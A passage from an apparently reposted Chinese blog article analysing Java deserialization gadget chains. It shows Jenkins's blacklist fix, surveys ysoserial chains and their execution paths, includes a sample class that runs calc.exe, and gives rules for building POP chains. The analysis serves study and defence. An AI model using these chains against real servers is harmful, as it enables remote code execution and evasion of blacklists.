Map m = LazyMap.decorate(new HashMap(), chain);
但與TransformedMap
不同的是,AnnotationInvocationHandler.readObject()
中並沒有直接的對memberTypes
執行get()
操作,反而是在它的invoke()
中存在get()
,但又對方法名有一定的要求:
public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); assert paramTypes.length == 0; if (member.equals("toString")) return toStringImpl(); if (member.equals("hashCode")) return hashCodeImpl(); if (member.equals("annotationType")) return type; Object result = memberValues.get(member); // omit }
所以,ysoserial使用Java動態代理的方式處理了LazyMap
,使readObject()
在調用memberValues.entrySet()
時代理進入AnnotationInvocationHandler.invoke()
階段,剛好方法名entrySet
也可以順利的跳過前面的幾個判斷條件,最終達到目的。這也是為什麼Payload中會包含兩個AnnotationInvocationHandler
的原因。
修復方案
Jenkins在1.638版本的Connection.readObject()
中,將默認的ObjectInputStream
改為了其自定義的子類ObjectInputStreamEx
,並傳入ClassFilter.DEFAULT
校驗過濾:
public <T> T readObject() throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStreamEx(in, getClass().getClassLoader(), ClassFilter.DEFAULT); return (T)ois.readObject(); }
ClassFilter.DEFAULT
長這樣:
public static final ClassFilter DEFAULT = new ClassFilter() { protected boolean isBlacklisted(String name) { if (name.startsWith("org.codehaus.groovy.runtime.")) { return true; } else if (name.startsWith("org.apache.commons.collections.functors.")) { return true; } else { return name.contains("org.apache.xalan"); } } };
還是一個簡簡單單的黑名單。
POP的藝術
既然反序列化漏洞常見的修復方案是黑名單,就存在被繞過的風險,一旦出現新的POP鏈,原來的防禦也就直接宣告無效了。
所以在反序列化漏洞的對抗史中,除了有大佬不斷的挖掘新的反序列化漏洞點,更有大牛不斷的探尋新的POP鏈。
POP已經成為反序列化區別於其他常規Web安全漏洞的一門特殊藝術。
既然如此,我們就用ysoserial這個項目,來好好探究一下現在常用的這些RCE類POP中到底有什麼乾坤:
-
BeanShell1
-
命令執行載體:
bsh.Interpreter
- 反序列化載體:
PriorityQueue
-
PriorityQueue.readObject()
反序列化所有元素后,通過comparator.compare()
進行排序,該comparator
被代理給XThis.Handler
處理,其invoke()
會調用This.invokeMethod()
從Interpreter
解釋器中解析包含惡意代碼的compare
方法並執行 -
C3P0
-
命令執行載體:
bsh.Interpreter
-
反序列化載體:
com.mchange.v2.c3p0.PoolBackedDataSource
-
PoolBackedDataSource.readObject()
進行到父類PoolBackedDataSourceBase.readObject()
階段,會調用ReferenceIndirector$ReferenceSerialized.getObject()
獲取對象,其中InitialContext.lookup()
會去加載遠程惡意對象並初始化,導致命令執行,有些同學可能不太清楚遠程惡意對象的長相,舉個簡單的例子:
public class Malicious { public Malicious() { java.lang.Runtime.getRuntime().exec("calc.exe"); } }
-
Clojure
-
命令執行載體:
clojure.core$comp$fn__4727
- 反序列化載體:
HashMap
-
HashMap.readObject()
反序列化各元素時,通過它的hashCode()
得到hash值,而AbstractTableModel$ff19274a.hashCode()
會從IPersistentMap
中取hashCode
鍵的值對象調用其invoke()
,最終導致Clojure Shell命令字符串執行 -
CommonsBeanutils1
-
命令執行載體:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化載體:
PriorityQueue
-
PriorityQueue.readObject()
執行排序時,BeanComparator.compare()
會根據BeanComparator.property
(值為outputProperties) 調用TemplatesImpl.getOutputProperties()
,它在newTransformer()
時會創建AbstractTranslet
實例,導致精心構造的Java字節碼被執行 -
CommonsCollections1
-
命令執行載體:
org.apache.commons.collections.functors.ChainedTransformer
- 反序列化載體:
AnnotationInvocationHandler
-
見前文
-
CommonsCollections2
-
命令執行載體:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化載體:
PriorityQueue
-
PriorityQueue.readObject()
執行排序時,TransformingComparator.compare()
會調用InvokerTransformer.transform()
轉換元素,進而獲取第一個元素TemplatesImpl
的newTransformer()
並調用,最終導致命令執行 -
CommonsCollections3
-
命令執行載體:
org.apache.commons.collections.functors.ChainedTransformer
- 反序列化載體:
AnnotationInvocationHandler
-
除
Transformer
數組元素組成不同外,與CommonsCollections1基本一致 -
CommonsCollections4
-
命令執行載體:
org.apache.commons.collections.functors.ChainedTransformer
- 反序列化載體:
PriorityQueue
-
PriorityQueue.readObject()
執行排序時,TransformingComparator.compare()
會調用ChainedTransformer.transform()
轉換元素,進而遍歷執行Transformer
數組中的每個元素,最終導致命令執行 -
CommonsCollections5
-
命令執行載體:
org.apache.commons.collections.functors.ChainedTransformer
- 反序列化載體:
BadAttributeValueExpException
-
BadAttributeValueExpException.readObject()
當System.getSecurityManager()
為null
時,會調用TiedMapEntry.toString()
,它在getValue()
時會通過LazyMap.get()
取值,最終導致命令執行 -
CommonsCollections6
-
命令執行載體:
org.apache.commons.collections.functors.ChainedTransformer
- 反序列化載體:
HashSet
-
HashSet.readObject()
反序列化各元素后,會調用HashMap.put()
將結果放進去,而它通過TiedMapEntry.hashCode()
計算hash時,會調用getValue()
觸發LazyMap.get()
導致命令執行 -
Groovy1
-
命令執行載體:
org.codehaus.groovy.runtime.MethodClosure
- 反序列化載體:
AnnotationInvocationHandler
-
AnnotationInvocationHandler.readObject()
在通過memberValues.entrySet()
獲取Entry
集合,該memberValues
被代理給ConvertedClosure
攔截entrySet
方法,根據MethodClosure
的構造最終會由ProcessGroovyMethods.execute()
執行系統命令 -
Hibernate1
-
命令執行載體:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化載體:
HashMap
-
HashMap.readObject()
通過TypedValue.hashCode()
計算hash時,ComponentType.getPropertyValue()
會調用PojoComponentTuplizer.getPropertyValue()
獲取到TemplatesImpl.getOutputProperties
方法並調用導致命令執行 -
Hibernate2
-
命令執行載體:
com.sun.rowset.JdbcRowSetImpl
- 反序列化載體:
HashMap
-
執行過程與Hibernate1一致,但Hibernate2並不是傳入
TemplatesImpl
執行系統命令,而是利用JdbcRowSetImpl.getDatabaseMetaData()
調用connect()
連接到遠程RMI -
JBossInterceptors1
-
命令執行載體:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化載體:
org.jboss.interceptor.proxy.InterceptorMethodHandler
-
InterceptorMethodHandler.readObject()
在executeInterception()
時,會根據SimpleInterceptorMetadata
拿到TemplatesImpl
放進ArrayList
中,並傳入SimpleInterceptionChain
進行初始化,它在調用invokeNextInterceptor()
時會導致命令執行 -
JSON1
-
命令執行載體:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化載體:
HashMap
-
HashMap.readObject()
將各元素放進HashMap
時,會調用TabularDataSupport.equals()
進行比較,它的JSONObject.containsValue()
獲取對象后在PropertyUtils.getProperty()
內動態調用getOutputProperties
方法,它被代理給CompositeInvocationHandlerImpl
,其中轉交給JdkDynamicAopProxy.invoke()
,在AopUtils.invokeJoinpointUsingReflection()
時會傳入從AdvisedSupport.target
字段中取出來的TemplatesImpl
,最終導致命令執行 -
JavassistWeld1
-
命令執行載體:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化載體:
org.jboss.weld.interceptor.proxy.InterceptorMethodHandler
-
除JBoss部分包名存在差異外,與JBossInterceptors1基本一致
-
Jdk7u21
-
命令執行載體:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化載體:
LinkedHashSet
-
LinkedHashSet.readObject()
將各元素放進HashMap
時,第二個元素會調用equals()
與第一個元素進行比較,它被代理給AnnotationInvocationHandler
進入equalsImpl()
,在getMemberMethods()
遍歷TemplatesImpl
的方法遇到getOutputProperties
進行調用時,導致命令執行 -
MozillaRhino1
-
命令執行載體:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化載體:
BadAttributeValueExpException
-
BadAttributeValueExpException.readObject()
調用NativeError.toString()
時,會在ScriptableObject.getProperty()
中進入getImpl()
,ScriptableObject$Slot
根據name
獲取到封裝了Context.enter
方法的MemberBox
,並通過它的invoke()
完成調用,而之後根據message
調用TemplatesImpl.newTransformer()
則會導致命令執行 -
Myfaces1
-
命令執行載體:
org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression
- 反序列化載體:
HashMap
-
HashMap.readObject()
通過ValueExpressionMethodExpression.hashCode()
計算hash時,會由getMethodExpression()
調用ValueExpression.getValue()
,最終導致EL表達式執行 -
Myfaces2
-
命令執行載體:
org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression
- 反序列化載體:
HashMap
-
執行過程與Myfaces1一致,但Myfaces2的EL表達式並不是由使用者傳入的,而是預製了一串加載遠程惡意對象的表達式
-
ROME
-
命令執行載體:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化載體:
HashMap
-
HashMap.readObject()
通過ObjectBean.hashCode()
計算hash時,會在ToStringBean.toString()
階段遍歷TemplatesImpl
所有字段的Setter和Getter並調用,當調用到getOutputProperties()
時將導致命令執行 -
Spring1
-
命令執行載體:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化載體:
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
-
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
在調用TypeProvider.getType()
時被代理給AnnotationInvocationHandler
得到另一個Handler為AutowireUtils$ObjectFactoryDelegatingInvocationHandler
的代理,之後傳給ReflectionUtils.invokeMethod()
動態調用newTransformer
方法時被第二個代理攔截,它的objectFactory
字段是第三個代理,因此objectFactory.getObject()
會獲得TemplatesImpl
,最終導致命令執行 -
Spring2
-
命令執行載體:
org.apache.xalan.xsltc.trax.TemplatesImpl
- 反序列化載體:
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()
在動態調用newTransformer
方法時,被第二個代理攔截交給JdkDynamicAopProxy
,它在AopUtils.invokeJoinpointUsingReflection()
時會傳入從AdvisedSupport.targetSource
字段中取出來的TemplatesImpl
,最終導致命令執行
根據上面這些內容,我們可以得到幾條簡單的POP構造法則:
-
當依賴中不存在可以執行命令的方法時,可以選擇使用
TemplatesImpl
作為命令執行載體,並想辦法去觸發它的newTransformer
或getOutputProperties
方法 -
可以作為入口的通用反序列化載體是
HashMap
、AnnotationInvocationHandler
、BadAttributeValueExpException
和PriorityQueue
,它們都是依賴較少的JDK底層對象,區別如下: -
HashMap
,可以主動觸發元素的hashCode
和equals
方法 AnnotationInvocationHandler
,可以主動觸發memberValues
字段的entrySet
方法,本身也可以作為動態代理的Handler進入自己的invoke
方法BadAttributeValueExpException
,可以主動觸發val
字段的toString
方法PriorityQueue
,可以主動觸發comparator
字段的compare
方法
總結
歷年來,很多流行的Java組件框架都被爆出過反序列化漏洞,這已經有好多大牛們都進行過分析總結了,本文的主要目的也不在此,而是為了去深挖反序列化漏洞底層一些可能還沒有被喚醒的地方。
不過有一點要切記,反序列化不止RCE。
參考
转载请注明:IAMCOOL » 淺析 Java 序列化和反序列化